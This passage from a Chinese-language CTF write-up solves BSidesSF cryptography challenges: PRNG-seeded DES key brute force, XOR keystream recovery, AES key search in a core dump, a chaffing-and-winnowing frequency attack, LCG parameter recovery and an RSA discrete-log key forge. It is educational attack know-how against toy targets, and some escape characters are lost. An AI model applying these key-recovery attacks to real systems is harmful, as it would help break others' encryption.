y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);
mt[N-1] = mt[M-1] ^ (y >> 1) ^ (-(unsigned int)(y & 1) & MATRIX_A);
mti = 0;
}
y = mt[mti++];
y ^= y >> TEMU;
y ^= (y << TEMS) & TEMB;
y ^= (y << TEMT) & TEMC;
y ^= y >> TEML;
return y&0xff;
}
int main(void) {
for (int t = 1580486400; t < 1582387200; t++) {
set_seed(t);
for (int i = 0; i<8; i++) {
printf("%02x", genrandom() ^ 0x55);
}
printf("n");
}
}
编译程序，然后将程序执行结果保存至keys.txt文件夹，接下来尝试进行解密：
from Crypto.Cipher import DES
import binascii
f1 = open('flag.png.enc', 'rb').read()
ct = f1
f2 = open('keys.txt', 'rb').read()
keys = f2.splitlines()
f3 = open('flag.png', 'wb')
for key in keys:
key = binascii.unhexlify(key)
if DES.new(key, DES.MODE_CBC, b'x00' * 8).decrypt(ct[:8]) == b'x89x50x4ex47x0dx0ax1ax0a':
print("Found it!")
print(key)
pt = DES.new(key, DES.MODE_CBC, b'x00' * 8).decrypt(ct)
f3.write(pt)
break
f3.close()
执行代码后，可以看到最终密钥为b’xa0Qxb8xa1ox85Bxda’，打开生成的flag.png即可看到flag。
## decrypto-1
题目描述：
Kerckhoffs’s principle states that “A cryptosystem should be secure even if
everything about the system, except the key, is public knowledge.” So here’s
our unbreakable cipher.
题目附件：
[flag.txt.enc](https://github.com/ichunqiu-resources/anquanke/blob/master/009/decrypto-1/flag.txt.enc)
[decrypto.py](https://github.com/ichunqiu-resources/anquanke/blob/master/009/decrypto-1/decrypto.py)
审计一下源码，发现题目的加密经过了多个函数处理，整理一下可以表示为如下形式：
ct = (ceil(len(pt) / len(key)) * key)[:len(pt)] ^ pt
其中pt为`{"filename":文件名, "hash":sha256(文件内容),
"plaintext":文件内容}`经过json.dumps函数处理后的形式，由于我们的加密后的文件的文件名为`flag.txt.enc`，因此可知原始文件的文件名为`flag.txt`，借此可以得到pt的前43字节的内容如下：
{n "filename": "flag.txt",n "hash": "
我们将该部分内容和密文的前43字节异或，得
>>> pt_part = b'{n "filename": "flag.txt",n "hash": "'
>>> ct_part = open('flag.txt.enc', 'rb').read()[:43]
>>> bytes(a ^ b for a, b in zip(pt_part, ct_part))
b'n0t4=l4gn0t4=l4gn0t4=l4gn0t4=l4gn0t4=l4gn0t'
由于该部分的内容主要为若干个key的拼接，可知key为`n0t4=l4g`，接下来直接进行解密即可得到明文，从而得到flag：
>>> ct = open('flag.txt.enc', 'rb').read()
>>> key = b'n0t4=l4g'
>>> truekey = b''
>>> while len(truekey) < len(ct):
... truekey += key
...
>>> truekey = truekey[:len(ct)]
>>> pt = bytes(a ^ b for a, b in zip(ct, truekey))
>>> pt
b'{n "filename": "flag.txt",n "hash": "2f98b8afa014bf955533a3e72cee0417413ff744e25f2b5b5838f5741cd69547",n "plaintext": "CTF{plz_dont_r0ll_ur_own_crypto}"n}'
## decrypto-2
题目描述：
Kerckhoffs’s principle states that “A cryptosystem should be secure even if
everything about the system, except the key, is public knowledge.” So here’s
our really unbreakable cipher.
题目附件：
[flag.svg.enc](https://github.com/ichunqiu-resources/anquanke/blob/master/009/decrypto-2/flag.svg.enc)
[decrypto.py](https://github.com/ichunqiu-resources/anquanke/blob/master/009/decrypto-2/decrypto.py)
审计一下源码，发现题目的加密经过了多个函数处理，整理一下可以表示为如下形式：
设:
blk0 = sha256(key + struct.pack('<I', 0)).digest())
blk_i = sha256(blk_(i-1) + struct.pack('<I', i)).digest())
则：
ct = (blk0 + blk1 + ... + blk_n)[:len(pt)] ^ pt
每个blk为sha256哈希值，即32字节长，如果我们能知道pt的前32个字节，将其异或上ct的前32个字节即可得到blk0，根据递推公式，有了blk0即可得到blk1，有了blk1即可得到blk2，以此类推，我们即可得到(blk0
+ blk1 + … +
blk_n)[:len(pt)]的值，将其和整个ct异或即可得到pt，因此接下来我们的任务就是想办法获取pt的前32个字节，鉴于加密的文件为svg格式，我们可以尝试一些svg常见的开头内容，取其前32个字节依次进行测试，本题中该svg文件前缀与[WIKI中SVG词条](https://en.wikipedia.org/wiki/Scalable_Vector_Graphics)下的SVG代码格式示例前缀相同：
from hashlib import sha256
import struct
prefix = b'<?xml version="1.0" encoding="UTF-8" standalone="no"?>'
ct_part = open('flag.svg.enc', 'rb').read()[:32]
blk0 = bytes(a ^ b for a, b in zip(prefix[:32], ct_part))
blkset = blk0
ct = open('flag.svg.enc', 'rb').read()
count = 1
while len(blkset) < len(ct):
blkset += sha256(blkset[-32:] + struct.pack('<I', count)).digest()
count += 1
pt = bytes(a ^ b for a, b in zip(ct, blkset))
idx = pt.find(b'CTF')
print(pt[idx:])
在打印结果中即可获得flag：
b'CTF{but_even_I_couldnt_break_IT}</tspan></text>n </g>n</svg>n'
## decrypto-3
题目描述：
Fine, I learned not to roll my own crypto. I hear OpenSSL is good and easy to
use, so I’ll use that to encrypt my secrets. Unfortunately, I keep crashing.
Can you help me figure out what the bug is?
题目附件：
[flag.txt.enc](https://github.com/ichunqiu-resources/anquanke/blob/master/009/decrypto-3/flag.txt.enc)
[crypto](https://github.com/ichunqiu-resources/anquanke/blob/master/009/decrypto-3/crypto)
[core](https://github.com/ichunqiu-resources/anquanke/blob/master/009/decrypto-3/core)
执行crypto程序尝试加密，可以看到程序提示Segmentation
fault，我们对crypto程序进行逆向，可以看到程序没有去符号表，直接定位到setup_crypter函数：
__int64 __fastcall setup_crypter(__int64 a1)
{
__int64 v1; // ST08_8
__int64 v2; // rax
void *v3; // ST18_8
__int64 v4; // rax
v1 = a1;
*(_QWORD *)(a1 + 160) = HMAC_CTX_new();
v2 = EVP_sha256();
HMAC_Init_ex(*(_QWORD *)(v1 + 160), v1 + 64, 32LL, v2, 0LL);
*(_QWORD *)(a1 + 168) = EVP_CIPHER_CTX_new();
v3 = calloc(0x10uLL, 1uLL);
v4 = EVP_aes_256_cbc(16LL, 1LL);
return EVP_EncryptInit_ex(*(_QWORD *)(v1 + 168), v4, 0LL, v1 + 32, v3);
}
可以看到程序使用AES-256进行加密，v3为IV，在使用calloc函数分配内存空间后没有进行赋值，因此IV为`b'x00' *
16`，即calloc赋的初值，程序使用的key我们不知道，但题目把报错后的core
dump的core文件提供给我们了，考虑到core文件通常包含程序运行时的内存，寄存器状态，堆栈指针，内存管理信息等，我们可以考虑遍历core文件来从中寻找密钥，AES-256使用32字节长的密钥，因此我们从`i=0`开始到`i=len(ct)-32`为止，不断把core[i:i+32]的内容当做key来进行解密，如果解密的内容中包含’CTF’，即视为解密成功。
将上述推导过程写成代码形式如下：
from Crypto.Cipher import AES
f = open('core', 'rb').read()
ct = open('flag.txt.enc', 'rb').read()
iv = b'x00' * 16
for i in range(len(f) - 32):
key = f[i:i+32]
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = cipher.decrypt(ct)
if b'CTF' in pt:
print(pt)
break
执行代码即可在pt中找到flag：
b'PR_SET_DUMPABLE (since Linux 2.3.20)nSet the state of the "dumpable"nflag, which determines whether core dumps are produced for the calling processnupon delivery of a signal whose default behavior is to produce a core dump.nnMADV_DONTDUMP (since Linux 3.4)nExclude from a core dump those pages in the range specified by addr and length.nThis is useful in applications that have large areas of memory that are knownnnot to be useful in a core dump. The effect of MADV_DONTDUMP takes precedencenover the bit mask that is set via the /proc/PID/coredump_filter file (seencore(5)).nnnMan, if only I'd known about those options before I dumped core and sent it out.nnCTF{core_dump_your_secrets}nx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fwRxd7/?x83xdcx15Yxb1(rx19x1axe7x86xc4ZmLx87xe9x00xb0P{4Hxb8}x03x8a'
## eccmul
题目描述：
Never done ECC before? Now you can!
eccmul-3e426cd0.challenges.bsidessf.net:25519
题目只给了一个服务器地址和端口，nc连接上去看一下：
Curve Generated: y^2 = x^3 + 3538569901*x + 1463263163 mod 12382431221540560483
Point `P` on curve: [7446047202987944211,10385346314533718897]
Scalar `s`: 7780639736
Please compute `R` = `s*P`
R? (enter in form [1234,5678])>
给定曲线、点P、标量s，要求给出s*P，直接在SageMath下计算即可：
sage: a = 3538569901
sage: b = 1463263163
sage: n = 12382431221540560483
sage: E = EllipticCurve(GF(n), [a,b])
sage: P = E([7446047202987944211,10385346314533718897])
sage: s = 7780639736
sage: R = s*P
sage: R
(611642810769681786 : 2794026609502217488 : 1)
提交至服务器即可得到flag：
R? (enter in form [1234,5678])> [611642810769681786,2794026609502217488]
Great!
CTF{babys_first_scalar_multiplication}
## haystack
题目描述：
This vendor claims they have figured out a way to preserve the integrity and
confidentiality of a message using signing instead of encryption. We only have
a binary pycache file and a message off the wire — can you find the content of
the message?
题目附件：
[chaffing.pyc](https://github.com/ichunqiu-resources/anquanke/blob/master/009/haystack/chaffing.pyc)
[message.pcap](https://github.com/ichunqiu-resources/anquanke/blob/master/009/haystack/message.pcap)
题目给了一个pyc文件和一个流量包，我们可以先使用uncompyle6来反编译一下pyc文件：
uncompyle6 chaffing.pyc > chaffing.py
这段反编译出来的代码在python2/3中关于str和bytes的用法上出现了一些混用，我们将其统一修改为python3的版本，整理后chaffing.py文件的内容如下：
import hmac
import hashlib
import random
import struct
CHAFF_SIZE = 32
SIG_SIZE = 16
ALL_BYTES = set(c for c in range(256))
KEY = b'af5f76f605a700ae8c0895c3e6175909'
def byte(v):
return bytes([v])
def sign_byte(val, key):
return hmac.new(
key, val, digestmod=hashlib.sha256).digest()[:SIG_SIZE]
def chaff_byte(val, key):
msgs = {}
msgs[val[0]] = sign_byte(val, key)
while len(msgs) < CHAFF_SIZE:
vals = list(ALL_BYTES - set(msgs.keys()))
c = random.choice(vals)
if c == val:
raise ValueError('Chose duplicate!')
fake_sig = bytes(random.choices(list(ALL_BYTES), k=SIG_SIZE))
msgs[c] = fake_sig
pieces = []
for k, v in msgs.items():
pieces.append(b'%s%s' % (byte(k), v))
random.shuffle(pieces)
return b''.join(pieces)
def chaff_msg(val, key):
if not isinstance(val, bytes):
val = val.encode('utf-8')
msg_out = []
for b in val:
msg_out.append(chaff_byte(byte(b), key))
outval = b''.join(msg_out)
return struct.pack('>I', len(val)) + outval
def winnow_msg(val, key):
if not isinstance(val, bytes):
val = val.encode('utf-8')
msglen = struct.unpack('>I', val[:4])[0]
val = val[4:]
chunk_len = (SIG_SIZE + 1) * CHAFF_SIZE
expected_len = chunk_len * msglen
if len(val) != expected_len:
raise ValueError(
'Expected length %d, saw %d.' % (expected_len, len(val)))
pieces = []
for c in range(msglen):
chunk = val[chunk_len*c:chunk_len*(c+1)]
res = winnow_byte(chunk, key)
pieces.append(res)
return b''.join(pieces)
def winnow_byte(val, key):
while val:
c = byte(val[0])
sig = val[1:SIG_SIZE+1]
if sign_byte(c, key) == sig:
return c
val = val[SIG_SIZE+1:]
raise ValueError('No valid sig found!')
def main():
inp = b'This is a test message!'
msg = chaff_msg(inp, KEY)
ret = winnow_msg(msg, KEY)
if inp != ret:
print('Wrong ret: %s' % ret)
if __name__ == '__main__':
main()
这里的chaff和winnow函数实际上是指代密码学领域当中的一种技术[Chaffing and
winnowing](https://en.wikipedia.org/wiki/Chaffing_and_winnowing)，其中chaff表示谷壳，winnow表示风选，这里的名字来源于农业中：人们收获谷物并对其进行脱粒后，仍然有一些部分和不可食用的谷壳混合在一起，为了分开并去除这些杂质，人们利用物料与杂质之间悬浮速度的差别，借助风力来除杂，这一过程称为风选，分开后的谷壳部分就可以被丢弃了。这一过程和我们这里的过程很相似：
1. 假设Alice和Bob两人进行通信，两人协商好使用某一key作为密钥。
2. 假设Alice想要向Bob发送消息，Alice首先对其想要发送的消息的第一个字节（假设为字节1）使用hmac with sha256（hmac使用协商好的key）计算出一个签名并取该签名的前16个字节作为签名值，记录下{字节1的值:签名值}。
3. Alice随机生成一个不同于字节1的字节，然后随机生成16个字节作为签名值，记录下{随机字节，随机签名}，重复31次该操作，共得到31个{随机字节，随机签名}。
4. 将{字节1的值:签名值}和31个{随机字节，随机签名}放在一起并打乱顺序，然后以bytes形式拼接，作为字节1的处理结果。
5. Alice对想要发送的后续字节（字节2、字节3、...、字节n）依次进行上述处理，然后以bytes形式拼接，作为要发送的消息的处理结果，最后把要发送的消息的长度padding成4个字节，拼接在要发送的消息的处理结果的最前面作为最终结果进行发送。
6. Bob收到这一结果后，对其中第一组的32个{字节：签名}对，使用协商好的key计算其中每一个字节的签名，哪一个字节计算出的签名值和该字节在{字节：签名}对中对应的签名值相同，则说明Alice发送的第一个字节为该字节，依次类推，直到Bob恢复出所有字节，从而得到Alice想要发送的完整消息。
Alice向Bob发送的内容，我们可以从message.pcap中获取，使用wireshark打开pcap文件，追踪一个TCP流，将其内容dump出来，将其命名为message.dump（该文件见此[链接](https://github.com/ichunqiu-resources/anquanke/blob/master/009/haystack/message.dump)）。
我们现在的问题在于，我们并没有key，因此无法像Bob那样使用key来依次判断出Alice发送的消息是什么。但是这里有其他的漏洞点可以供我们利用，注意到这里在对每个字节计算签名时，没有引入类似计数器一类的概念去参与到签名的运算当中，导致相同字节的签名一直相同，比如以字节’a’为例，第一次计算其签名时，其结果为sig1，第N次计算其签名时，其结果仍为sig1，而本题中`消息的字节数=len(message.dump)//(32*17)=1421`，数量比较大，这就导致我们可以采用统计的方法进行攻击：对于消息的第一个字节的位置的32个{字节：签名}，我们可以在其他位置的若干个{字节：签名}当中，去查找有没有出现过这32个签名当中的某个签名，由于正确的签名是计算出来的而且该字节很有可能在消息中重复出现，而错误的签名是随机生成的，理论上不会再次出现，因此如果我们找到某一个签名在后面再次出现了，一定程度上就可以认为该签名对应的字节就是消息在这一位置的正确的字节。
将上述推导过程写成代码形式如下：
from Crypto.Util.number import *
f = open('message.dump', 'rb').read()[4:]
data = []
for i in range(0, len(f), 32*17):
data.append(f[i:i+32*17])
data2 = [[] for _ in range(len(f)//(32*17))]
allres = []
count = 0
for item in data:
l = []
for i in range(0, len(item), 17):
l.append(item[i:i+17])
for j in l:
c = j[0]
sig = j[1:]
data2[count].append((c, sig))
allres.append((c, sig))
count += 1
msg = []
for item in data2:
for m in item:
if allres.count(m) > 1:
msg.append(m)
break
print(b''.join([long_to_bytes(item[0]) for item in msg]))
执行代码即可得到消息如下：
b'This message is encoded using a technique called "Chaffing and Winnowing"[1],na technique that was first published by Ron Rivest in an article published onnthe 18th of March 1998 (1998/03/18). Unfortunately, my implementation of thentechnique suffers from very significant flaws, not the least of which is thenfailure to include a counter within the the MAC'd portion of the data. Thisnleads to all valid bytes with the same value having the same MAC, which shouldnallow for a fairly trivial frequency analysis attack on the message.nUltimately, if you're reading this, then you've found *some* way to crack thenencoding applied here.nnChaffing and winnowing also leads to a pretty major blow up in size. Imaginenif, instead of 31 bytes of chaff per byte of message, I had used the maximumn255. Imagine that I used a 256-bit MAC instead of 128. (256 bits: militaryngrade crypto!!@!)nnAt this point, you've been patient enough through my diatribe (which is reallynjust to give you the plaintext you need to launch your attack against the outputnof this encoding). What you're really here for is the FLAG. Like most of ournother flags, this is in the typical CTF{} format.nnCTF{thanks_to_rivest_for_all_his_contributions}nn- Matir.n(@Matir, https://systemoverlord.com)nnGreetz to decreasedsales, dissect0r, poptart, ehntoo, illusorycake, andnzerobitsmith.nnn[1]: https://en.wikipedia.org/wiki/Chaffing_and_winnowingn'
在消息中我们找到flag：
CTF{thanks_to_rivest_for_all_his_contributions}
## mentalist
题目描述：
Can you read the mind of a computer?
mentalist-a05ae893.challenges.bsidessf.net:12345
题目只给了一个服务器地址和端口，nc连接上去看一下：
Welcome Chosen One! I have been waiting for you...
The legend fortold of one that could read minds.
If you can read my mind I will reveal my great knowledge.
What number am I thinking of?
本题要求我们预测服务器端产生的数字，但是我们没有源码，因此并不知道数字的生成规则，随便输入几个数字，发现每次的提示语句不一样，因此我们尝试不断提交来查看一共有多少提示语句：
What number am I thinking of? 0
Actually I was thinking of 935066503044, try again
What number am I thinking of? 0
No I'm sorry, I was thinking of 30146363867131
What number am I thinking of? 0
Hmmm no. My number was 18007953872258, are you sure you're okay?
What number am I thinking of? 0
I'm getting worried. I was thinking of 19185121492725; you're not doing so well.
What number am I thinking of? 0
I grow tired of your failures. My number was 12023741535832
What number am I thinking of? 0
Nope. 20750859143879 Perhaps you aren't the one I was waiting for?
What number am I thinking of? 0
WRONG! It was 23824254417666
What number am I thinking of? 0
My patience thins... 15032732667493 was my number
What number am I thinking of? 0
You're getting on my nerves. It was 3496124413160
What number am I thinking of? 0
I'm only going to give you one more chance. I was thinking of 13665285383967
What number am I thinking of? 0
I see now that you aren't who I was looking for.
It's too late now but I was thinking of 24221806267714
In case you were wondering how I was thinking of these numbers,
they were for the form x_n+1 = x_n * 2332350940921 + 523873619107 % 30550145125500
And my initial seed x_0 was 13240382517197
With this you can verify that I wasn't cheating.
Good luck in your future endeavors!
经过11次提交，我们发现服务器在最后一次提交后告诉了我们这些数字的生成规则和使用的参数值，可以得知题目使用了LCG伪随机数生成器来生成数字，但是与此同时服务器也切断了连接，下次再nc连接时，LCG生成器使用的参数值都会刷新，因此我们的任务就是通过一些LCG生成的值来恢复出所有参数的值，继而可以直接计算出后续的值，从而实现预测。
假设一个LCG模型为：
s_(i+1) ≡ s_i * m + c (mod n)
其中s0为种子，我们从服务器端获取的11个数字依次为s1到s11，我们需要恢复出m、c、n的值来计算出后续的值，首先我们来恢复n，考虑如下同余方程：
s2 ≡ s1 * m + c (mod n)
s3 ≡ s2 * m + c (mod n)
s4 ≡ s3 * m + c (mod n)
s5 ≡ s4 * m + c (mod n)
将同余式改写为等式，有：
s2 - (s1 * m + c) = k1 * n
s3 - (s2 * m + c) = k2 * n
s4 - (s3 * m + c) = k3 * n
s5 - (s4 * m + c) = k4 * n
设`t_i = s_(i+1) - s_i`，有：
t1 = s2 - s1
t2 = s3 - s2 = (s2 * m + c) + k2 * n - (s1 * m + c) - k1 * n = (s2 - s1) * m + (k3 - k2) * n = t1 * m + A * n
t3 = s4 - s3 = (s3 * m + c) + k3 * n - (s2 * m + c) - k2 * n = (s3 - s2) * m + (k4 - k3) * n = t2 * m + B * n
t4 = s5 - s4 = (s4 * m + c) + k4 * n - (s3 * m + c) - k3 * n = (s4 - s3) * m + (k5 - k4) * n = t3 * m + C * n
即：
t2 ≡ t1 * m (mod n)
t3 ≡ t2 * m (mod n) ≡ t1 * m^2 (mod n)
t4 ≡ t3 * m (mod n) ≡ t1 * m^3 (mod n)
此时有：
(t2 * t4 - t3 * t3) ≡ [(t1 * m) * (t1 * m^3) - (t1 * m^2) * (t1 * m^2)] (mod n)
≡ [t1^2 * m^4 - t1^2 * m^4] (mod n)
≡ 0 (mod n)
将同余式改写为等式，有：
(t2 * t4 - t3 * t3) = k * n
同理，有：
(t3 * t5 - t4 * t4) = g * n
此时我们可以认为：
n = gcd(k * n, g * n)
其中t1到t5均为已知数（可以通过s1到s6的值来计算），即我们最少只需要6个输出即可恢复出n，将上述推导过程写成代码形式如下：
def recover_n(s):
diffs = [s2 - s1 for s1, s2 in zip(s, s[1:])]
zeroes = [t3 * t1 - t2 * t2 for t1, t2, t3 in zip(diffs, diffs[1:], diffs[2:])]
n = abs(reduce(gcd, zeroes))
return n
在知道了n后，接下来我们来恢复m，考虑如下同余方程：
s2 ≡ s1 * m + c (mod n)
s3 ≡ s2 * m + c (mod n)
两同余式相减，有：
s3 - s2 ≡ (s2 - s1) * m (mod n)
此时有：
m ≡ (s3 - s2) * (s2 - s1)^(-1) (mod n)
从而恢复出了m的值，将上述推导过程写成代码形式如下：
def recover_m(s, n):
m = (s[2] - s[1]) * invert(s[1] - s[0], n) % n
return m
在知道了n、m后，接下来我们恢复c，考虑如下同余方程：
s2 ≡ s1 * m + c (mod n)
此时有：
c ≡ s2 - (s1 * m) (mod n)
从而恢复出了c的值，将上述推导过程写成代码形式如下：
def recover_c(s, n, m):
c = (s[1] - s[0] * m) % n
return c
n、m、c都知道了以后，即可实现预测，首先我们nc连接到服务器，获取一组s1到s6如下：
s1 = 661126608579
s2 = 8515847563592
s3 = 27120250862005
s4 = 4169884303818
s5 = 16137464209031
s6 = 3143410817644
接下来计算出n、m、c的值：
#!/usr/bin/env python
from gmpy2 import *
def recover_n(s):
diffs = [s2 - s1 for s1, s2 in zip(s, s[1:])]
zeroes = [t3 * t1 - t2 * t2 for t1, t2, t3 in zip(diffs, diffs[1:], diffs[2:])]
n = abs(reduce(gcd, zeroes))
return n
def recover_m(s, n):
m = (s[2] - s[1]) * invert(s[1] - s[0], n) % n
return m
def recover_c(s, n, m):
c = (s[1] - s[0] * m) % n
return c
s1 = 661126608579
s2 = 8515847563592
s3 = 27120250862005
s4 = 4169884303818
s5 = 16137464209031
s6 = 3143410817644
n = recover_n([s1,s2,s3,s4,s5,s6])
m = recover_m([s1,s2,s3], n)
c = recover_c([s1,s2], n, m)
print (n, m, c)
执行代码即可得到n、m、c的值，接下来我们即可开始计算，此时服务器已经生成到s6，因此接下来我们需要计算出s7的值：
>>> s7 = (s6 * m + c) % n
>>> s7
mpz(34085312889657)
提交至服务器：
What number am I thinking of? 34085312889657
Incredible! I WAS thinking of that number! But can you do it again?
What number am I thinking of?
可以看到我们预测成功，接下来要求我们再预测出下一个值，采用同样的方法计算出s8：
>>> s8 = (s7 * m + c) % n
>>> s8
mpz(41508463105070)
提交至服务器，即可得到flag：
What number am I thinking of? 41508463105070
You really are the one that was foretold. Please accept this knowldege:
CTF{rand_should_be_enough_for_anyone}
## rsa-debugger
题目描述：
Choose your own keyventure!
rsa-debugger-2ad07dbc.challenges.bsidessf.net:1717
题目只给了一个服务器地址和端口，nc连接上去看一下：
Welcome to the Remote Satellite Attack Debugger!
Try "help" for a list of commands
输入help查看一下服务器提供了哪些指令：
RSA debugger> help
Remote Satellite Attack Debugger help:
Commands:
help # Prints this help
background # Explain how the attack works
holdmsg # Holds a suitable message from being transmitted
printmsg # Prints the currently held message
printtarget # Prints the target plaintext for currently held msg
setp <int> # Set p to the value specified
e.g. setp 127
setq <int> # Set q to the value specified (p must be set)
e.g. setq 131
sete <int> # Set e to the value specified (p & q must be set)
e.g. sete 17
printkey # Prints the current attack key
resetkey # Clears all the set key parameters
testdecrypt # Locally decrypts held message with current key
attack # Send the key and held message to the satellite
exit # Exit the hacking interface
由于本题没有提供源码，题干也没有交待本题的任务，因此先通过background命令查看一下本题的任务：
RSA debugger> background
Remote Satellite Attack Debugger background:
Our agents were able to obtain a working prototype of one of the SATNET
satellites and through extensive reverse engineering uncovered a
debugging interface that has not been disabled. We believe we've
uncovered a vulnerability that will let us take control of a satellite.
If we sent our own messages to the satellite, we'd get caught in the
message audit. Instead, we've found a way to intercept and delay messages
in transmission. By uploading a new key via the debugging interface we
should be able to manipulate how the satellite interprets the message after
the message is decrypted.
The attack:
Using the command `holdmsg` we will begin searching the outbound messages
for a suitable message ciphertext. When a message is found, we can derive
the plaintext that we need the message to decrypt to. You can see the held
message with `printmsg` and the desired plaintext with `printtarget`.
The satellite will accept a new private key with only a few basic checks:
1) p and q must be primes
2) p and q must be co-prime
3) e must be co-prime to the Euler totient of n
Note that we only send the satellite p, q, and e and it derives n and d.
When the right key has been found, use `attack` to upload the new key
and release the held message. The satellite will decrypt the message
with our provided key. If the resulting plaintext contains the target
debugging commands we should gain control of the satellite.
阅读可知，题目模拟了一个基于RSA的攻击场景，提炼一下核心思想就是系统负责提供一个m和其对应的c，然后要求用户输入p、q、e，即要求用户提供一组(e,
n)，使得`m^e ≡ c(mod n)`。
我们先后输入holdmsg、holdmsg和printtarget命令来获取c和m：
RSA debugger> holdmsg
Holding message....found a message to hold!
Target plaintext derived.
RSA debugger> printmsg
Held Message: 26951489564644175456653230687585736580338838263708618013712292080760169510602334072671884866999550794279507424994849685550095276998796745120634736889821620423083634781553271671254728629218239501424892982095333988874656209486912872071578391826065854317309353318501207814096352629564850263810321757236499015621697392699036821960302075744367720697500111447099796190291813031747382152173652243098733466910683611853251467426958183203610956067735023218162106202188255541841009430322439639175156013620160607331664003568894061034095143572434957645944957280890262225298990410953994498755214557585639105202692516734407351686089
RSA debugger> printtarget
Target plaintext for held message: 52218557622655182058721298410128724497736237107858961398752582948746717509543923532995392133766377362569697253085889
由于n我们是可以自己设置的，因此如果我们设置这个n后，`m^e ≡ c(mod n)`或`c^d ≡ m(mod
n)`中的e/d能直接计算出来，那么这道题就结束了，显然，这里求e/d的过程就是去解决一个离散对数问题，离散对数问题和大整数分解问题一样，并没有一个通用的有效解法，但是在某些特殊情况下可以计算离散对数（正如某些情况下n可以被分解一样），我们的任务就是提供一个n，使得离散对数的求解落入到这类特殊情况中，从而计算出e/d。
对于一个`y = g^x (mod p)`的离散对数问题的场景而言，当群的阶光滑（即p-1有小素因子解）时，可以通过[Pohlig-Hellman算法](https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm)来计算离散对数问题。对于本题来讲，如果我们提供一组(p,
q)，使得p和q满足(p-1)和(q-1)光滑，那么接下来可以尝试使用Pohlig-Hellman算法来计算离散对数，但是我们知道，像`m^x ≡
c(mod n)`或`c^x ≡ m(mod n)`这种同余方程，给定一组(m, c,
n)来求x并不是一定有解的，因此我们需要调整一下p和q的值使得同余方程尽可能有解。
我们可以考虑原根的存在性，当使得a ^ b ≡ 1 (mod
n)成立的最小的b等于phi(n)时，我们称a是模n意义下n的一个原根，数n存在原根的必要条件是n形如1, 2, 4, p^α, 2
_p^α，其中p为素数。考虑2_ p^α这种情况，我们可以设置q=2, p=满足p-1光滑的一个p，此时n =
p*q一定存在原根，但是由于本题中c和m我们不可控，因此约1/2的情况下同余方程无解，我们可以不停尝试n，直到同余方程有解，此时即可计算出离散对数，从而本题可解。
根据上述推导，我们首先假设q=2，然后在SageMath下生成一个满足p-1光滑的p：
def gen_vuln_p(nbit):
while True:
p = 2
while p.nbits() < 2048:
p *= next_prime(randint(0, 10**6))
p += 1
if is_prime(p):
return p
p = gen_vuln_q(2048)
得到一个符号条件的p如下：
sage: p
69348678866401304646490861340488561209226208451247619560874232340522178522111420961377229336150730880601133592524865851877831525814035741486668086205630811245258303788413634402005343871975262971764271596537208390881585388826538775299782515845855434406453667832544367299838240312836787198396118023980826377214570894061698419474293116477944531505679841702722019141788605828099179561946772093405337285309388291218510467722727587855439951363274502690753768059113924778573772147525576971356709382759100623217498271818843999443100287933304890357765393645527454524195055115747125096835625303998708821171598429576886050671607
接下来使用Sage下的discrete_log函数来计算离散对数，discrete_log函数使用Pohlig-Hellman算法和Baby step
giant step算法来进行计算：
sage: e = discrete_log(Mod(ct,n),Mod(pt,n))
sage: e
36422352138476438909832496849456056084223678523869861209732908151440385123660161504869087755529534644398623699223414430780281764394590301670060005120616912686826197155766762502748616239180854689739776032890835376617273391687494656841086881359810323550417111353865033903912885540415255335166833611689772579230278145479515702771128469846795665013650092070277562327414903956978470113728144176048547997703413968349297818655990813736343030149257242963123900351837101871161825265263358353871479880311787277055886314582993076682661974519235759945922631610206861269106514465703633782653326906936013250902786022123542647753639
接下来依次使用setp、setq和sete命令设置p、q、e：
RSA debugger> setp 2
RSA debugger> setq 69348678866401304646490861340488561209226208451247619560874232340522178522111420961377229336150730880601133592524865851877831525814035741486668086205630811245258303788413634402005343871975262971764271596537208390881585388826538775299782515845855434406453667832544367299838240312836787198396118023980826377214570894061698419474293116477944531505679841702722019141788605828099179561946772093405337285309388291218510467722727587855439951363274502690753768059113924778573772147525576971356709382759100623217498271818843999443100287933304890357765393645527454524195055115747125096835625303998708821171598429576886050671607
RSA debugger> sete 36422352138476438909832496849456056084223678523869861209732908151440385123660161504869087755529534644398623699223414430780281764394590301670060005120616912686826197155766762502748616239180854689739776032890835376617273391687494656841086881359810323550417111353865033903912885540415255335166833611689772579230278145479515702771128469846795665013650092070277562327414903956978470113728144176048547997703413968349297818655990813736343030149257242963123900351837101871161825265263358353871479880311787277055886314582993076682661974519235759945922631610206861269106514465703633782653326906936013250902786022123542647753639
使用printkey命令查看密钥设置情况：
RSA debugger> printkey
Current key parameters:
p: 2
q: 69348678866401304646490861340488561209226208451247619560874232340522178522111420961377229336150730880601133592524865851877831525814035741486668086205630811245258303788413634402005343871975262971764271596537208390881585388826538775299782515845855434406453667832544367299838240312836787198396118023980826377214570894061698419474293116477944531505679841702722019141788605828099179561946772093405337285309388291218510467722727587855439951363274502690753768059113924778573772147525576971356709382759100623217498271818843999443100287933304890357765393645527454524195055115747125096835625303998708821171598429576886050671607
derived n: 138697357732802609292981722680977122418452416902495239121748464681044357044222841922754458672301461761202267185049731703755663051628071482973336172411261622490516607576827268804010687743950525943528543193074416781763170777653077550599565031691710868812907335665088734599676480625673574396792236047961652754429141788123396838948586232955889063011359683405444038283577211656198359123893544186810674570618776582437020935445455175710879902726549005381507536118227849557147544295051153942713418765518201246434996543637687998886200575866609780715530787291054909048390110231494250193671250607997417642343196859153772101343214
e: 36422352138476438909832496849456056084223678523869861209732908151440385123660161504869087755529534644398623699223414430780281764394590301670060005120616912686826197155766762502748616239180854689739776032890835376617273391687494656841086881359810323550417111353865033903912885540415255335166833611689772579230278145479515702771128469846795665013650092070277562327414903956978470113728144176048547997703413968349297818655990813736343030149257242963123900351837101871161825265263358353871479880311787277055886314582993076682661974519235759945922631610206861269106514465703633782653326906936013250902786022123542647753639
derived d: 11475848161585851629376650407886562187002415489835600751223818333328068256905082663238149764303518192249979414510783083253980314559553095775311658553805767975390498204663534961681184075235339403546359714841235203209540488076625909297051171968846712421948345710805255200457376468164017672950810241674429278554209670559485983713596396455747422052964240878233874195729576610359168370008579693321133791460169576474473764534490140203756337986331651433430663907083311784790492839865895207358760352678805011242690418079655527095574378481710864733615938649622850037212546379720199123669151033788173336550340807463002532173153
可以看到参数设置无误，使用testdecrypt命令查看此时解密后的m的值是否和printtarget命令展示的m的值一致：
